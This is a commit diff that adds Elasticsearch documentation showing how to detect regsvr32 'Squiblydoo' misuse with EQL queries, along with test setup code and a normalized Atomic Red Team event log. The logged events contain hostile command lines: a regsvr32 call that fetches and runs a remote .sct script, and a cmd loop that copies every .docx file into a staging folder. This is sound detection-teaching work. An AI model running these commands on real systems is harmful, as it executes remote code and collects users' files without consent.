[DOCS] EQL: Add threat detection example (#59105) (#61161)

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4 changed files with 780 additions and 2 deletions

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@ -343,7 +343,7 @@ buildRestTests.setups['user_hits'] = '''
{"timestamp": "2019-01-03T13:00:00", "user_id": "4"}'''
// Dummy bank account data used by getting-started.asciidoc
// Fake bank account data used by getting-started.asciidoc
buildRestTests.setups['bank'] = '''
- do:
indices.create:
@ -1446,3 +1446,36 @@ buildRestTests.setups['setup-repository'] = '''
settings:
location: buildDir/cluster/shared/repo
'''
// Fake sec logs data used by EQL search
buildRestTests.setups['atomic_red_regsvr32'] = '''
- do:
indices.create:
index: my-index-000001
body:
settings:
number_of_shards: 5
number_of_routing_shards: 5
mappings:
properties:
process:
properties:
"command_line":
type: keyword
- do:
bulk:
index: my-index-000001
refresh: true
body: |
#atomic_red_data#
'''
/* Load the actual events only if we're going to use them. */
File atomicRedRegsvr32File = new File("$projectDir/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json")
buildRestTests.inputs.file(atomicRedRegsvr32File)
buildRestTests.doFirst {
String events = atomicRedRegsvr32File.getText('UTF-8')
// Indent like a yaml test needs
events = events.replaceAll('(?m)^', ' ')
buildRestTests.setups['atomic_red_regsvr32'] =
buildRestTests.setups['atomic_red_regsvr32'].replace('#atomic_red_data#', events)
}

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@ -0,0 +1,444 @@
[role="xpack"]
[testenv="basic"]
[[eql-ex-threat-detection]]
== Example: Detect threats with EQL
experimental::[]
This example tutorial shows you how you can use EQL to detect security threats
and other suspicious behavior.
In the scenario, you're tasked with detecting
https://attack.mitre.org/techniques/T1218/010/[`regsvr32` misuse] in Windows event
logs. `regsvr32` misuse is a known adversary technique documented in the
https://attack.mitre.org[MITRE ATT&CK®] knowledge base.
[discrete]
[[eql-ex-threat-detection-setup]]
=== Setup
This tutorial uses a test dataset for `regsvr32` misuse from
https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has
been normalized and mapped to use fields from the {ecs-ref}[Elastic Common
Schema (ECS)], including the `@timestamp` and `event.category` fields. The
dataset includes events that imitate behaviors related to `regsvr32` misuse, as
documented by MITRE ATT&CK®.
To get started, download and index the dataset:
. Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset.
. Index the data into `my-index-000001` with the following <<docs-bulk,bulk
API>> request:
+
[source,sh]
----
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
----
// NOTCONSOLE
. Use the <<cat-indices,cat indices API>> to verify the data was successfully
indexed.
+
[source,console]
----
GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
----
// TEST[setup:atomic_red_regsvr32]
+
The API response should show a `docs.count` value of `150`, indicating 150
documents were indexed.
+
[source,txt]
----
health status index docs.count
yellow open my-index-000001 150
----
// TESTRESPONSE[non_json]
[discrete]
[[eql-ex-get-a-count-of-regsvr32-events]]
=== Get a count of `regsvr32` events
Since you're looking for `regsvr32` misuse, start by getting a count of any
events associated with a `regsvr32.exe` process.
The following <<eql-search-api,EQL search API>> request uses an EQL query to
retrieve a count of events with a `process.name` of `regsvr32.exe`. The query
starts with the <<eql-syntax-match-any-event-category,`any where` keywords>>,
meaning the query can match events of any <<eql-required-fields,event
category>>.
[source,console]
----
GET /my-index-000001/_eql/search?filter_path=-hits.events <1>
{
"query": """
any where process.name == "regsvr32.exe" <2>
""",
"size": 200 <3>
}
----
// TEST[setup:atomic_red_regsvr32]
<1> Uses the `?filter_path=-hits.events` query parameter to exclude the
`hits.events` property from the response. The `hits.events` property contains
the document source for any matching events. This request is intended to
retrieve a count of events only.
<2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`.
<3> Returns up to 200 events or sequences matching the EQL query.
The request returns the following response, indicating that 143 events match the
query.
[source,console-result]
----
{
"is_partial": false,
"is_running": false,
"took": 60,
"timed_out": false,
"hits": {
"total": {
"value": 143,
"relation": "eq"
}
}
}
----
// TESTRESPONSE[s/"took": 60/"took": $body.took/]
[discrete]
[[eql-ex-check-for-command-line-artifacts]]
=== Check for command line artifacts
Based on your previous query, you know `regsvr32` processes were associated with
143 events. But how was `regsvr32.exe` first called? And who called it?
`regsvr32` is a command-line utility so it may help to narrow your results to
processes where the command line was used.
Update the previous EQL query as follows:
* Change the `any` keyword to `process`. This limits matches to events with an
`event.category` of `process`.
* Add the `and process.command_line != null` condition to match only
events with a command line value.
You'll also need to remove the `filter_path=-hits.events` query parameter. This
lets you retrieve the document source for any matching events.
[source,console]
----
GET /my-index-000001/_eql/search
{
"query": """
process where process.name == "regsvr32.exe" and process.command_line != null
"""
}
----
// TEST[setup:atomic_red_regsvr32]
The query matches one process event. The event has an `event.type` of
`creation`, indicating the start of a `regsvr32.exe` process.
Based on the `process.command_line` value, `regsvr32.exe` used `scrobj.dll` to
register a script, `RegSvr32.sct`. This fits the behavior of a
https://attack.mitre.org/techniques/T1218/010/["Squiblydoo" attack], a known
variant of `regsvr32` misuse.
The query also retrieved other valuable information about how the `regsvr32.exe`
process started, such as the `@timestamp`, the associated `user.id`, and the
`process.parent.name`.
[source,console-result]
----
{
"is_partial": false,
"is_running": false,
"took": 21,
"timed_out": false,
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": "my-index-000001",
"_type": "_doc",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_score": null,
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
}
]
}
}
----
// TESTRESPONSE[s/"took": 21/"took": $body.took/]
// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
[discrete]
[[eql-ex-check-for-malicious-script-loads]]
=== Check for malicious script loads
You now know that a `regsvr32.exe` process was used to register a potentially
malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the
`scrob.dll` library.
Modify the previous EQL query as follows:
* Change the `process` keyword to `library`.
* Replace the `process.command_line != null` condition with
`dll.name == "scrobj.dll`.
[source,console]
----
GET /my-index-000001/_eql/search
{
"query": """
library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
"""
}
----
// TEST[setup:atomic_red_regsvr32]
The query matches an event, confirming `scrobj.dll` was later loaded by
`regsvr32.exe`.
[source,console-result]
----
{
"is_partial": false,
"is_running": false,
"took": 5,
"timed_out": false,
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": "my-index-000001",
"_type": "_doc",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_score": null,
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
}
]
}
}
----
// TESTRESPONSE[s/"took": 5/"took": $body.took/]
// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
[discrete]
[[eql-ex-detemine-likelihood-of-sucess]]
=== Determine likelihood of success
In many cases, malicious scripts are used to connect to remote servers or
download other files. If this occurred, the attack might have succeeded.
Use an <<eql-sequences,EQL sequence query>> to check for the following series of
events, in order:
. A `regsvr32.exe` process, which could have been used to register malicious
scripts as `scrobj.dll`
. A load of the `scrobj.dll` library by the same process
. Any network event by the same process, which could indicate the download of a
remote file
To match, each event in the sequence must share the same process ID, recorded in
the `process.pid` field.
Based on the command line value seen in the previous result, you can expect to
find a match. However, the sequence query isn't designed for that specific
command. Instead, it looks for a pattern of suspicious behavior while still
being generic enough to detect similar threats in the future.
[source,console]
----
GET /my-index-000001/_eql/search
{
"query": """
sequence by process.pid
[process where process.name == 'regsvr32.exe']
[library where dll.name == 'scrobj.dll']
[network where true]
"""
}
----
// TEST[setup:atomic_red_regsvr32]
The query matches a sequence, indicating the attack likely succeeded.
[source,console-result]
----
{
"is_partial": false,
"is_running": false,
"took": 25,
"timed_out": false,
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"sequences": [
{
"join_keys": [
"2012"
],
"events": [
{
"_index": "my-index-000001",
"_type": "_doc",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_version": 1,
"_seq_no": 3,
"_primary_term": 1,
"_score": null,
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
},
{
"_index": "my-index-000001",
"_type": "_doc",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_version": 1,
"_seq_no": 5,
"_primary_term": 1,
"_score": null,
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
},
{
"_index": "my-index-000001",
"_type": "_doc",
"_id": "EF5MJXMBMk1dGnErnBa9",
"_version": 1,
"_seq_no": 24,
"_primary_term": 1,
"_score": null,
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573238680000,
"destination": {
"address": "151.101.48.133",
"port": "443"
},
"source": {
"address": "192.168.162.134",
"port": "50505"
},
"event": {
"category": "network"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
},
"network": {
"protocol": "tcp",
"direction": "outbound"
}
}
}
]
}
]
}
}
----
// TESTRESPONSE[s/"took": 25/"took": $body.took/]
// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
// TESTRESPONSE[s/"_seq_no": 3/"_seq_no": $body.hits.sequences.0.events.0._seq_no/]
// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
// TESTRESPONSE[s/"_seq_no": 5/"_seq_no": $body.hits.sequences.0.events.1._seq_no/]
// TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]
// TESTRESPONSE[s/"_seq_no": 24/"_seq_no": $body.hits.sequences.0.events.2._seq_no/]

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@ -721,4 +721,5 @@ You can also manually delete saved synchronous searches using the
include::syntax.asciidoc[]
include::functions.asciidoc[]
include::pipes.asciidoc[]
include::pipes.asciidoc[]
include::detect-threats-with-eql.asciidoc[]

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@ -0,0 +1,300 @@
{"index":{}}
{ "process": { "parent": { "name": "powershell.exe", "entity_id": "{42FC7E13-C11D-5C05-0000-0010C6E90401}", "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" }, "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "command_line": "\"C:\\WINDOWS\\system32\\cmd.exe\" /c \"for /R c: %%f in (*.docx) do copy %%f c:\\temp\\\"", "executable": "C:\\Windows\\System32\\cmd.exe", "ppid": 7036 }, "logon_id": 217055, "@timestamp": 131883571822010000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } }
{"index":{}}
{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\cmd.exe", "name": "cmd.exe" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "@timestamp": 131883571822140000, "event": { "category": "process", "type": "terminate" } }
{"index":{}}
{ "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\regsvr32.exe", "name": "regsvr32.exe" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\apphelp.dll", "name": "apphelp.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\AcLayers.dll", "name": "AcLayers.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\user32.dll", "name": "user32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\win32u.dll", "name": "win32u.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\gdi32.dll", "name": "gdi32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\gdi32full.dll", "name": "gdi32full.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
{"index":{}}
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